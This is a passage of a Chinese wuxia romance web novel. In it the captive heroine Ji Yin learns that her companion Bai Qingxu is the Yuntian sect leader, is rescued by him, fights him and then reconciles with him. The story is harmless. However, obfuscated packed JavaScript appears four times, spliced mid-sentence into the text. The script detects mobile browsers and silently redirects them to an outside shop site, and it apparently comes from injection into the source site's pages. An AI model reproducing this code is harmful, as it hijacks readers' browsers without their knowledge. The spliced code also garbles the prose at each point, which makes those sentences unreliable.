就在这时,阵阵嘈杂的脚步声由远及近传了过来。 云天派来人了! 彩戏吐出一口血沫,强忍疼痛,一把拎起季音:“降婴,撤退了!” 季音最后的意识,便是拼命想去拉她的付子修,以及在他怀中被鲜血染红的裴诀。 裴诀......是为了救她才受伤的...... 他......会死吗? 如果他死了,付子修怎么办? 这个小公子,重情重义,他应该......会很难过吧。 等等......为什么她还有心思操心别人呢...... 她明明已经......自身难保了啊...... 季音是被一阵奇怪的香味熏醒的。 耳朵一阵嗡鸣,胸腔里也堵着一股血腥气,难受得很。 她下意识翻身,奈何从头到脚皆是酸痛无比,完全动弹不得,尤其是四肢,简直像所有的骨头在她身体里打了一架。 眉头一皱,季音缓缓睁眼,却发现自己竟是趴在地上的。 然而还没等她起身,冰凉的毒镖就贴紧了她的脖颈。 彩戏矫揉戏谑的声音响起:“小妹妹,姐姐劝你最好不要乱动。” 记忆慢慢搭建,季音这才想起来,她落到问天府的手里了。 她四下打量一番——屋里很黑,没有点灯,但仍能看清装潢布局,不像是问天府的老巢,倒有点儿像......客栈,还是很高端很豪华的那种。 “我不乱动,但我能不能躺下,趴着太累了。” 反正她已经打不动了,而且就算打得动,她也打不过,既然如此,倒不如好好休息,养精蓄锐。 彩戏没有说话,收了毒镖。 季音缓了半天,待喉间的铁锈味渐渐消散,她才出声道:“我不明白,苍璐念已经被关了这么多年,你们为什么现在才动手?” 彩戏看出了她已无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044922|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反击之力,蹲下身子,红唇轻扬:“想必你已经听说,白羽沅越狱潜逃一事?” 季音想起了前不久偷听到的消息。 “......难怪整个紫宸都寻他不得,原来他是去找你们了。怎么,问天府为了助白羽沅夺得皇位,甚至不惜和隐邺盟做起交易了?” 彩戏道:“看来你并不了解苍璐念是什么人。” “她若出手,就算白夜澜将五大正派都收为己用,也绝无丝毫生机。” 说罢,彩戏话锋一转:“不过小妹妹,其实最主要的原因......还是你啊。” “我?”季音闭上眼睛:“你们说看见我放走杨雯,但我根本就没去过问天府。你既精通易容之术,说不定那人就是伪装成我的模样故意骗你们的。虽然不知道他这么做的目的,但我敢保证,你们肯定抓错人了。” “哦?这世间的易容术多种多样,但能骗过我眼睛的,只有一种。” 彩戏见季音不为所动,又道:“此术源于苗疆。苗疆之地有一种蛊虫,名唤千面蛊,以鲜血饲养九九八十一日后,便可控蛊抽真人面皮为丝,实现堪称完美的易容。” 季音睁开了眼睛。 “不过很可惜,听闻早在几十年前,这种蛊虫便彻底消亡了。”彩戏笑道:“所以当今世间,已不可能有我看不出的易容之术。” 季音叹了口气:“随便你怎么说,但我根本就不认识杨雯,更不可能冒着生命危险放走她。” “没关系,这些都已经不重要了。”彩戏笑得愈发明艳:“因为你......更有价值的地方出现了。” 季音心中顿时弥漫起一股不好的预感。 她警惕道:“什么?” 彩戏缓缓道:“能让云天派掌门另眼相看的冥麟阁弟子,难道不是很有意思吗?” “你与云天掌门的关系,可比你的命......值钱多了啊。” 季音懵了。 所以他们将她抓到这里,留她一条活口......是因为白清旭? 不会是问天府这些人看到白清旭收她为徒,以为她跟白清旭有什么,所以才利用她来引出白清旭吧?! 季音被气笑了:“你冒充周序这么久,应该知道我根本就不认识白清旭,拿我当人质......呵呵,他会来才有鬼。” “不识?”彩戏勾唇:“上次在和柳村也好,找我讨解药时也罢,瞧他护你的那副模样,说你们没有什么,小妹妹,你觉得姐姐会信么?” ......和柳村? 季音突然就想起那晚在莲花池附近看到的打斗的痕迹。 说起来,她当时的确有种被人跟踪的感觉。 所以......跟踪她的不是那个臭骗子,而是问天府的人? 可那晚问天府的人并未对她动手。 唯一的解释......便是有人赶在问天府之前动了手。 还有......讨解药?什么解药? 她确实中过彩戏的毒不假,可最后不是那个臭骗子帮她解的毒吗?关白清旭什么事? ...... 等等! 好像有什么地方不对劲。 季音倏地一下坐了起来,太阳穴突突直跳! 35. 冤家再会 脑袋明明还没来得及思考,季音却已经起了一身的鸡皮疙瘩! 因为这个答案太荒谬了,太可怕了,可怕到她根本不敢往这方面去想! 咚咚......咚咚...... 她清楚地听到了自己心脏跳动的声音。 明明一切都是有迹可循,不是吗? 他们第一次见面,是在二王争位那晚。 一个酒楼老板,会在这种时候出现在王府? 季音甚至不需要去回忆,一个接一个的疑问便如潮水般从四面八方朝她涌来。 为何东豫城内,荣尘就那样轻易放走了他们? 为何素未谋面的云天掌门,会收她当徒弟? 为何一到云天派,那个臭骗子就不见了踪影? ...... 其实哪有这么多为什么,这一切从头到尾根本就是他看她出丑的把戏! 是他,是他一直跟在她身边,颠倒黑白、混淆视听,闲适淡然地欣赏她像傻狗一样被他耍得团团转! 谜底披露后的震惊、回顾往事时的羞愤交织而生,瞬间,季音只感觉浑身气血上涌,双手止不住地颤抖。 说起来,她一直喊他臭骗子,却根本不知道他的本名是什么! “大长老,您来了。” 彩戏的声音将她拉回了现实。 季音恍恍惚惚地抬起头,正对上面前男子腰间的那把佩剑。 紫宸百兵榜排行第七位,掩日剑。 何洛闵的佩剑。 此人皮相生得极好,一双桃花眼妖冶惑人,但那比死人还要白皙的肌肤,比鲜血还要艳红的薄唇,实在不能不让季音心头一紧。 季音虽从未见过他,但关于他的事迹,还是听过一些的。 比如他幼时家道中落,小小年纪浑身带伤地爬上云天山,只为求见徐君彦一面;比如他与白清旭虽同为徐君彦的弟子,但却远不如白清旭得师傅宠爱;再比如他私自修习云天派禁术妄心,觊觎神器空青扇,弑师叛道,为天理所不容。 何洛闵也看到了她,脚步一顿,缓缓停住了身型。 瞬间,杀气弥漫。 这杀气给人的感觉与司玄很是相似,却也有些许不同。司玄睥睨天下的气势仿佛与生俱来,他只需要静静地站在那里,便使人双腿发软,无法逃离。可何洛闵给人的感觉更像是血淋淋从乱葬岗中爬出来的恶鬼,令人心生畏惧,不敢靠近。 季音咽了咽口水,决定先来解决眼前之事,若她还有命能活,再去取了白清旭的狗命! 然而就在这时,何洛闵说话了:“你......就是季音?” 没等季音反应过来,何洛闵便捏住她的下颌,笑得越发阴冷渗人,似毒蛇般贴在了她的耳边:“我这个好师弟......眼光还真是不错啊。” 轻蔑的眼神,挑逗的语气,季音何曾被人这般对待,一阵恶寒,反手就是一掌打出! 打完她才想起来,这人在巅峰榜上排行第六。 可出乎季音的意料,何洛闵并未反击,甚至都没躲闪,反而一把攥住她的手腕,漆黑的瞳仁里跳动着让她心惊的喜悦:“瞧瞧,还是只小野猫呢。” “滚开!” 方才的休息显然很有效果,手臂发力,季音竟真的挣脱开来,抽出两根流云飞针就刺向对方眼睛! 啪嗒。 身后的彩戏一把将她擒住,毒针也滚落在地,停在了何洛闵脚边。 何洛闵勾勾唇角,将毒针捡起,刺破了自己的手指。 然后,他抬手,将鲜血点在了季音唇间:“染了血呢,就更好看了,是不是啊,爪子带毒的小野猫,哈哈哈哈哈哈......” 季音瞪了他一眼,骂道:“......疯子!” 何洛闵讥诮:“嗯,说得好啊。” 说罢,他起身,走到高台处坐了下来。 彩戏见状,也松了手,任由季音狼狈万分地跌坐在地上。 奇怪的是,何洛闵明明离得更远了,可她却感觉周遭的内力波动越来越强烈。 地上的流云飞针也像是感应到了什么,竟不受控制的抖动起来。 下一瞬,季音只感觉浑身气脉猛地被一股极为凶悍的内力压制! 糟了,是威压! “好了,说说吧,你跟白清旭,究竟是什么关系啊?” 季音已经感到呼吸困难了:“都......说了,我不......认识他!” 哪怕心里有了猜测,但不知为何,她就是不愿被人当作能够威胁白清旭的筹码。 而且......她也真的算不上什么筹码。 何洛闵不语,嘴角一翘,眼尾发红,内力波动霎时更添几分迅猛! 季音头疼欲裂,胸口闷痛,当场一口鲜血爆出! “嘴硬?呵呵,没关系,不着急,我呢,有的是时间......” 话音未落,阵阵慌乱的脚步声突然从黑暗中传来。 彩戏蹙眉,急道:“怎么回事?!” 一道慌慌张张的声音响起:“禀大长老!有人强闯......!!!” 下一瞬,重物落地的声音响起,原本昏暗的屋子霎时变得灯火通明! 方才排山倒海势的威压瞬间一扫而空,不待季音回神,一双十分有力的手便将她拉到了身后。 季音望着面前那道熟悉的身影,竟一时不知该作何反应。 其实,在真正见到他之前,她仍旧抱有最后一丝希冀——希望是自己猜错了,希望他没有故意接近自己,没有故意欺骗自己,希望以后他们也许还能成为朋友。 所以,她宁可自己被何洛闵一剑砍死,也不要看到那个人出现在这里。 可他真的来了,并且此时此刻,就站在她的身前。 季音突然就不认识他了。 明明还是那身紫衣,还是那柄折扇,一切却都变得......异常陌生。 白清旭看着她,喉结微动,似是松了口气,眸底闪过一丝疲惫。 瞧见来人,何洛闵笑得更开心了,目光紧紧落在他身上:“好久不见呀,我的......小师弟。” “是吗?”白清旭打量着屋内的黑衣侍卫:“明明前不久才带人招呼过我,师兄竟然这么快就忘了?” 何洛闵静静地看着他,一言不发。 “莫不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085672|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为这回带的人多了,怕我不招待?”白清旭摇着折扇:“放心,好酒好菜定然只多不少。” 何洛闵双眸微眯:“这么多年过去了,你这张嘴啊,还真是一如既往的......令人恶心呢。” “诶,不敢当。”白清旭笑了笑:“师兄若不喜欢,不如给我五百两银子好了,我保证半个字都不再多说,如何?” 何洛闵没有接话。 他起身,缓步朝两人走来,每走一步,脸上的神情就狠厉一分,兴奋一分:“想不到......你居然真的敢来。” 白清旭摇了摇折扇:“没办法,师兄的人太热情了,连声招呼都不打,就敢擅自闯进云天派,带走我的人。” 他顿了一顿,语气竟难得添了几分认真:“是不是......太不把我这个云天掌门,放在眼里了?” 话音未落,躺在地上的那根流云飞针就再次颤动起来! 不过不同的是,这次季音并无半点不适,反倒是旁边那群黑衣侍卫,个个抖得跟筛子一样,口鼻鲜血直喷,彩戏强撑半天,终也是蜷缩在地,肉眼可见的筋错骨断。 何洛闵拭去唇角滑下的血渍,歪了歪头,突然拔剑刺向季音! 季音一颗脑袋嗡嗡直响,根本来不及反应,杀气腾升的剑刃便已映出了她的双眸! 电光火石间,只听“吭哧”一声,一柄折扇迅速挡下对方的攻势,拦在了两人之间。 白清旭眉梢微挑:“看来这段时间,师兄的剑术精进了不少。” 何洛闵却是突然笑了:“哈哈哈哈哈哈,白清旭,你果真在护着她!” 他笑得太厉害了,连带手中的掩日剑都跟着抖动起来:“可笑,真是太可笑了!像你这样的人,也会懂得保护别人吗?” 白清旭神情一顿,敛了笑容,反手便将剑气逼了回去! 季音从来没有见过这样的白清旭。 她虽看不清他的表情,但却莫名感受到了他身上的一丝......不同寻常。 不是愤怒,不是慌张,更不是惊惧。 而是平静的仿若空白。 ...... 鬼使神差的,季音伸手攥住了他的衣袖。 白清旭一怔,举着折扇的右手蓦地垂了下来。 “......” “这女人的事,以后归云天派管了。” 他的嗓音很低,却掷地有声。 身后的季音听得此话,呆愣愣地抬起了头。 不知是不是她的错觉,面前之人突然变得十分陌生,陌生到她好像完全不认识了。 明明还是熟悉的声音,可奇怪的是,她却从中感受不到任何情感夹杂,疏远与距离感扑面而来。 “此番灵州城之事,虽不知师兄与白羽沅达成了什么交易,但此乃云天地界,我既身为云天掌门,便断不会任由二位为鬼为蜮,妄作胡为。” “......你他妈少给我摆出这副什么都懂的样子!”何洛闵似是终于忍无可忍,眸中闪过几分暴怒的讥讽:“云天掌门......笑死人了!你知不知道自己究竟是个什么玩意儿?!就凭你,也配满口苍生大义的审判别人吗?!” 36. 耳光响亮 此言一出,整个大殿死一般的寂静。 季音下意识去看白清旭,可出乎她的意料,对方那双好像永远都会含着笑的眸子,此刻却仿若秋波枯涸,不起半点漪沦,仅剩令人窒息的死谧。 ......这是怎么回事? 事情的正常发展不应该是白清旭摇着他那把折扇无所吊谓地回怼对方才对吗?! 在季音看来,白清旭此人没脸没皮,软硬不吃,遇事更是口毒腹剑到只有他攻击别人的份,可如今......他居然被何洛闵这句毫无杀伤力的话噎的哑口无声?! ......诡异!实在太诡异了! 想到这里,季音忍不住戳了戳白清旭。 可他仍旧没有任何反应,只是僵立在原地,神情隐匿在了烛光映射而来的阴影下。 ......搞什么?! 这家伙平常怼死人不偿命的那股势头哪去了?! 难不成只有在攻击她的时候才会触发吗?! ......不行!平日里她就说不过白清旭,若此时再让何洛闵占尽上风,那她岂不是沦为谁都比不过的底端废物了?! 念及于此,季音上前一步,反手将白清旭推到身后,冲着何洛闵就开了嗓:“你叫什么叫?” 听得动静,白清旭微微一怔,抬头望去。 她明明已经受了重伤,一张脸白得吓人,单薄的身影摇摇晃晃,全靠手中的双刃强撑着才能站稳,却仍旧挡在他身前,咬着几乎无一丝血色的唇,满眼的不服与倔强。 “这家伙是我先看中的对家,要骂也是我先骂,你算哪条狗啊,乱吠什么?!” “再说了,你骂人前能不能先撒泡尿照照自己什么德行?就你这白脸红嘴不男不女的鬼模样,居然还好意思骂别人什么玩意儿,真是笑死人了!” “还有,不会骂人就别骂!就白清旭这种品性低劣没心没肺的家伙,你光骂他不是玩意儿有什么用?你不会觉得这种东西能攻击到他吧?多天真啊,你不是狠起来连自己师父都能杀吗?还用我教你怎么骂人?!” 瞬间,大殿更安静了。 何洛闵看了看季音,又看了看白清旭,却是倏地笑了:“哈哈哈哈哈,原来如此,原来如此啊!” 他上前两步,死死盯住季音:“如何,事事都被我这个好师弟蒙在鼓里的感觉好受吗?你现在一定很好奇,他究竟何要一直跟着你,欺瞒你,明知你是奔着空青扇而去,却还是执意要收你为徒......” “......够了。” 白清旭冷冷开口,语调生硬得可怕。 何洛闵轻蔑一笑:“哦,对,我忘了,心怀天下的云天派大掌门,怎么能让别人看到他自私自利的一面呢?这要是让师父知道了......你可就做不成他心目中最完美的继位人了啊,届时师父他老人家在天有灵,也一定会悲愤到痛哭流涕吧!哈哈哈哈哈......” 此言一出,季音本以为白清旭终于要忍不住对何洛闵出手了,可出乎她的意料,白清旭只是上前一步,神色平静,丝毫不见半点波澜:“我知道,四年前师父身死之事,并非师兄所为。” 闻言,何洛闵猛地抬头,双目猩红。 “个中缘由,师兄有意隐瞒也好,无意相说也罢,我都会追查到底。” “师兄若看我不顺眼,云天山掌门居随时恭候,烦请师兄不要再牵连无辜之人。” 说罢,他拉起季音便离开了大殿。 彩戏见状,连忙强忍伤痛,起身行礼道:“大长老,是否要追?” “不必......不必。”何洛闵摆了摆手,缓缓坐回高台之上:“果然,果然!我的好师弟啊,看来这么多年过去,你还是没能明白。一个怪物,就算再怎么伪装,也不会变成正常人啊!哈哈哈哈哈......” 待两人离开客栈时,天色已晚,皎月当空。 灵州城外围有一条长河。传闻当年此地水患频发,民不聊生,危急时刻,两名少年挺身而出——其中一个看似文雅,却武艺卓绝,一掌断水,引流泄洪,另一个虽瞧上去吊儿郎当,没个正行,却及时疏散百姓,安抚民心。 水患解决后,当地百姓为感谢他们,特将这条河命名为忆君河。并且每年的这一天,男女老少皆会出门,燃放明灯为这两人祈福。 后来,祈福的规模越来越大,范围也越来越广,人们开始不单单只为这两人祈福,而是为全天下像他们这般济世安民的少年人祈福,时间长了,便衍生出了一个专门的节日——忆君节。 关于这忆君节的故事,季音在云天派时便听得倒背如流了. 因为故事中的两个主角,不是别人,正是那大名鼎鼎的徐君彦与苍溯淮。 而今夜,恰是此城一年一度的忆君节。 自从灵州城惨案爆发后,家家户户皆是胆战心惊,坐立难安。如今一切好像又重新归于平静,借此机会,大家都走出家门,庆祝劫后余生。 远远望去,无数盏明灯似极漂浮在天河上的皓月繁星,光华璀璨,融融如海。 然而季音却无心欣赏。 她与白清旭一前一后走在街上,均是沉默不语。街边不少商贩见此情形,都举着明灯笑问道:“公子可是与夫人闹别扭了?买盏花灯哄哄夫人吧!” 季音吐了口气,顿住脚步,恰见头顶夜空天花绽放,五颜六色的烟火直窜九霄。 白清旭见她不走了,亦停了下来,有些好笑地问道:“笨女人......想不想放盏花灯?” 季音盯着他看了半天,突然提起双刃就朝他砍去! 一旁的商贩们哪里见过这种场面,个个吓得边躲边喊:“不得了!不得了!家暴了啊!” 季音整个人一片混乱,满脑袋只剩下了“白清旭”三个字。 是因为被他骗了这么久感到愤怒?被他耍了这么久感到丢脸?还是因为自己太蠢太笨,相处这么长时间,居然连他就是云天派掌门都毫未发觉?!!! 心脏处熟悉的撕扯感传来,说不清楚是种什么感觉,似乎有什么东西在操控她的周身气脉,使她内力爆增,甚至压过了满身的伤痛! 无论如何,她都觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093805|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己急需将这些情绪发泄出来,否则她肯定会当场吐血暴毙! 提着双刃的手不受控制地朝着对方砍去,招招使了全力,丝毫不留情面。 白清旭却也不还手,只是边躲边道:“笨女人,你先听我说。” “你他妈闭嘴!!!”季音咬牙切齿道:“把我当猴耍,看我笑话看我出丑很好玩儿是不是?!留着你的话跟阎王爷说去吧!” 两人从地上追到天上,从长街打到屋顶,追得酣畅淋漓,打得撼天动地! 白清旭向后撤了一步,似是有些无奈:“别生气了,生气会让人变丑的。” “滚蛋!”季音仿佛有用不完的力气,一巴掌扇了过去:“云天掌门是吧,云天掌门了不起吗?!云天掌门就可以随便耍人玩是不是?!” 听得此话,白清旭叹了口气,旋即站定在原地,不再动作。 季音哪里想到他会突然停下,一巴掌就那么扎扎实实地落了下去! 啪! 瞬间,世界安静了。 季音愣立在原地,脑袋一片空白,通红的手掌仍在微微发抖,掌心只余火辣辣的痛。 她刚才......是不是扇了云天派掌门? “你......你愣着干嘛?你怎么不躲?!” 老实说,季音是气极白清旭欺骗自己不假。但她也清楚,眼前这人内力不知比她深厚多少,更是巅峰榜上的人物,她充其量只是发泄一番,哪里想过真的能得手?! 白清旭却道:“打完了?” 季音呆愣愣地点了点头。 “那走吧。” “去哪......诶诶诶,你......你干嘛?!” 熟悉的眩晕感传来,她又一次被白清旭扛在了肩上。 季音一脸莫名其妙:“你干什么?!你有病吧?!” 白清旭道:“......疼吗?” “......啊?” “伤口。” 经他这么一提醒,季音才意识到,自己浑身都痛,尤其是挨了降婴一击的胸口,闷得她难受极了。 季音不说话了。 不知道是不是她的错觉,她总感觉白清旭的动作似乎变得更轻了。 街上的围观群众见两人不打了,都赶紧凑了过来。 “哎哟,小伙子,这是怎么得罪你家婆娘了?” “看下手这么狠,莫不是你在外面偷吃被发现了?!” “你方才没听那小姑娘说吗?让人家看了笑话出了丑,我看八成就是了!” “小两口年纪轻轻,郎才女貌的,好好过日子,可千万不要再做这种事情了!” 听罢,季音只感觉一口老血梗在喉中,胸口更疼了。 白清旭却笑道:“一定,一定。” 忆君河畔,明灯如珠,烟火氤氲,仿若天宫星市。 季音伏在白清旭肩头,隔着衣料清晰感知到了对方身上传来的温度。 沉默良久,她突然道:“说说吧,我也很好奇,白清旭,你到底......为什么要骗我?” 37. 冤家和解 听得此问,白清旭轻轻一笑。 “笨女人,我给你讲个故事吧。” 季音:“?” “小时候我曾捡过一只鸽子,它翅膀断了,飞不起来,正巧被我发现,我就把它带了回去。” 季音:“......你确定不是被你烤着吃了?” 白清旭没有接话。 “后来,它的伤好了,也能自己飞了。” 季音:“......所以呢,它飞走了?” 白清旭道:“没有,它一脑袋撞在墙上,撞死了。” 季音:“......” “这跟我问你的问题有什么关系?!” 白清旭摊手:“没关系啊。” 季音:“?” “我只是想告诉你,说话前要动动脑筋。” “你觉得我会回答你的问题吗,明显不会啊,你还问,可不就像这只傻鸟一样,没脑子。” 季音:“......刚才那巴掌打轻了是吧?!” 争论间,她已被白清旭带到了一家客栈。 “我说......”她看着面前招呼店小二要了两壶好酒的男人:“你真的是白清旭?” 冷静下来后,她才发现占据自己内心的其实不是愤怒,而是震惊。 白清旭这个名字,对她来讲就像是话本中的角色一样。虽然她整天喊着要从他手中夺得空青扇,但当对方真的就这样出现在自己面前时,她却是不敢置信,不知所措了。 尤其......居然还是这个家伙!!! 白清旭笑道:“是啊,如假包换。” 季音只感觉自己的三观碎了一地。 “你......你你这样的人,到底是怎么当上云天掌门的?!” 白清旭摊手:“长得帅,武功高,还有钱,天降大任,有何不可?” 季音:“你还能再不要脸一点儿吗?” 白清旭:“这难道不是实话?” 季音翻了个大大的白眼。 “话说回来,你是怎么知道我被问天府抓了的?” 白清旭:“啊,何洛闵送来的纸条上写得很清楚。” “......啥?何洛闵给你的?”季音惊了:“那你还敢来?你不怕这是陷阱啊?!” 白清旭长叹一声:“没办法啊,谁让他抓的是你这个笨女人。” 听罢,季音呼吸一滞。 等等,这个套路...... 她不由得想起话本中英雄救美的情节。 难道...... 季音半是惊恐半是紧张地看着他。 只听白清旭缓缓道:“你要是死了,谁来还我钱?” ...... 淦! 她真是傻了,像这种注孤生的家伙有什么好担心的?! 季音强忍怒火,换了个话题:“所以你这段时间不在云天派,是因为灵州城的事?” 白清旭闷了口酒,似是默认。 季音正色道:“白羽沅与问天府联手,是想借他们的力量重返王城,夺得皇位?可若是如此......他们又为何要祸乱灵州城?” 白清旭道:“造势。” “自白夜澜登基后,白羽沅锒铛入狱,昔年投靠他的朝臣命官悉数倒戈求荣,所以如今他虽越狱潜逃,手下却再无可用之人。” 他顿了一顿:“而自古以来,令有才智者为己所用之计,往往不外乎两种。” 季音:“......威逼利诱?” 白清旭笑道:“孺子可教也。” 季音撇了撇嘴:“可是这跟他在灵州城杀人放火有什么关系?” 白清旭叹了口气:“你还真是不经夸。” “眼下灵州城命案频发,凶手又迟迟不能缉拿归案,时间长了,灵州城大大小小所有官员定然会被一同问罪。” 说罢,他抿了口酒:“所以嘛,先投靠白羽沅的官员,自然就能拿着剩下的那些去朝廷邀功领赏咯。” 季音眸子一颤:“......什么意思?白羽沅这是要把那些没有投靠他的官员都栽赃成凶手除掉?!这......这不是直接打白夜澜的脸吗?!” 白清旭却无所谓道:“他向来如此。” “更何况......也不一定都是栽赃。毕竟浑水之下,谁不趁乱除除政敌,杀杀仇家?” 季音听得直咂嘴:“......官场果然黑暗非常。” 白清旭笑道:“不止这些。白羽沅潜逃数月,居无定所,却仍对这些朝廷官员的动向了若指掌,唯一的可能,便是早已拉拢高位之人为己所用。” 季音不解:“高位之人?什么高位之人?” 白清旭眉梢微挑:“怎么,这么快就把相府那位小公子抛诸脑后了?” 季音吓了一跳:“......子修?!你少胡扯了,他怎么可能......” 白清旭出言打断:“不是他,另一个。” 季音顿了一顿:“......裴诀?” “那也不可能,我相信裴诀的为人。更何况......”季音不禁想起当日水牢之事:“要不是他,我现在早就没命了,总而言之,他是个极为正直的人,绝对不可能助纣为虐。” 白清旭却没有接话。 良久,他轻笑一声:“也对。” 眼见被认可,季音忍不住有点小得意:“话说回来,依你所言,白羽沅此番是有备而来。可若来日他当真夺位称帝,一旦东窗事发,他草菅人命鱼肉百姓之事便会闹得人尽皆知。届时民心尽失,还有谁会把他捧在皇位上?” 听得此话,白清旭握着酒壶的手一顿:“......是啊。” “可倘若......他做不成皇帝呢?” 季音一怔:“什么意思?” 白清旭缓声道:“若此时有人挺身而出,歼灭这个草菅人命的狠辣王爷,届时,人心所向,天命所归,这位拯救黎民于水火的英雄,自然便是荣登大宝的不二人选。” 季音白了他一眼:“那是当然了,这还用你说?” ......黑棋为塞,白棋为疏,白胜半子,自然人人乐见。 可若黑白棋皆为一人所执,又该当如何? 厢房内,酒香氤氲,烛芯伴着火光,烧得噼啪作响, 白清旭望着窗外早已沉下来的天色,收了酒壶:“好了,天晚了,早些休息。” 季音:“......等等!” 白清旭一脸不解地看向她。 “这......这屋里可就一张床!” 白清旭摇着折扇:“睡地上不就好了?” 季音愣了:“可是这个季节睡地上......你会着凉的吧?” “你在说什么,当然是你睡地上。” 季音:“???” 身上的伤口瞬间不疼了,她也不知哪来的力气,一下就站了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105110|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来:“我可是伤员!你的良心不会痛吗?!” 白清旭道:“我付的钱。” 季音:“......” “我一个如花似玉的妙龄少女,你居然忍心让我睡地上?!” 白清旭:“哦,如花似玉......什么花,食人花?” 季音:“......” “在云天派的时候,我白替你这家伙打扫了那么多天卧房,没找你要钱就不错了,睡你张床有什么问题?” 白清旭悠悠道:“说起来,如今你已是我门下的弟子。这世上哪有弟子睡床,师父却打地铺的道理?” “我呸!”这话显然激怒了季音:“谁是你徒弟?!占我便宜还占上瘾了?!” 白清旭看向她身旁的双刃:“你既收了我的东西,叫我声师父,又有什么不可以?” “我怎么知道云天掌门会变成你这厮?!”季音瞪了他一眼:“说起来,你又是从哪弄到这么好的兵器的?” “啊,你说这个,地摊上买的。” 季音:“......你找死!” 白清旭叹了口气,突然一掌击向她的后颈。 季音顿时感觉眼前一黑,瘫倒在床上,昏睡过去。 “唉,还是只有这样才能安静。” 白清旭坐在季音身边,伸手探上她的脉搏:“......明明受了这么重的伤,却还有力气吵架。” 他轻笑一声:“果然,活着的人,就应该充满生命力啊。” 季音这一觉睡了很久。 本以为身上这些伤要修养一段时间,却没想到一觉醒来,竟奇迹般地恢复如常。 她揉了揉脖子,打量着略显空荡的房间。 总感觉......好像少了点儿什么? ...... 等等!那个臭骗子呢?! 季音瞬间清醒,匆匆洗漱一番,踢了鞋子就往外跑。 还好,那家伙没逃。 不但没逃,此时此刻他正坐在楼下,面前还摆满了各式各样的早膳,像是在等人。 季音松了口气,理了理头发,坐在了对方面前。 然而对方却好像没看见她,自顾自地舀了一碗粥。 ...... ...... 终是季音先忍不住了:“那个......” 白清旭抬头。 “......昨晚,我......” “啊,你说这个。” ......她说什么了? 季音一脸茫然地看着他。 白清旭摇着折扇:“昨晚你睡得和死猪一样,怎么喊都喊不醒,没办法,我只能在大堂凑合一晚了。” 季音:“......你再要一间房会死吗?!” 白清旭:“笨女人,你以为我的钱是大风刮来的?” 季音突然想起了在他房间里看到的那本《骗钱心得》。 “......还不如大风刮来的呢!” 白清旭笑而不语。 眼见又要被对方牵着鼻子走,季音赶紧抢过话头:“不是,我要说的不是这个!” “我是想说......” 她望着白清旭那双似笑非笑的眸子,深吸一口气,豁了出去:“昨晚......昨晚毕竟是你救了我,不管怎么说,我都不该打你那一巴掌,你......你要是气不过,可以打回来,我绝不还手!” 38. 攻心之计 见对方迟迟不语,季音还以为他是要动手了,赶紧闭上了眼睛。 然而过了半天,预想中的疼痛都没有传来。 ...... 她疑惑睁眼,却正对上白清旭那双泛光带笑的眸子。 “我骗了你,你打了我,扯平了,好吗?” 季音也不知道自己是怎么了,身体好像不受控制了一般,点了点头。 良久,面前饭菜的香味传来,她才似乎终于清醒,清了清嗓子道:“那什么,我给过你机会了哈,是你自己不打的,不许到时候再偷偷报复!” 白清旭轻笑:“当然。” 想说的话终于说了出来,季音只感觉整个人都轻松了不少,肚子也饿了,端过粥碗大口喝了起来。 别的不说,这臭骗子找饭馆的本事还是不错的,每次的菜无论是品类还是味道,都像是为她量身打造般,极合她胃口。 “对了,看在你救我的份上......”季音咽下嘴里的粥,从怀中掏出一条发带:“喏,新缝的,怎么样,是不是进步不小?” 确然如此——虽说模样仍有些一言难尽,但相较于上一条,无论是纹样还是绣工,都明显有长足进步,一看便是下了功夫的。 白清旭轻轻接过,眸光微闪,没有言语。 良久,他却像是并不满意般,略带嫌弃道:“啧,笨女人,你能不能有点儿新意?” 季音冷嘲一声:“新意?你老实说,把上次我送的发带放哪了?” 下一瞬,两人几乎是异口同声道: “你要是敢说你挂在茅厕......” “挂在茅厕门口了,你别说,辟邪效果还真不错。” 季音:“......你倒是有新意哈。” 白清旭微微一笑:“过奖。” “嘿......你这人听不出好赖话是不是?!” 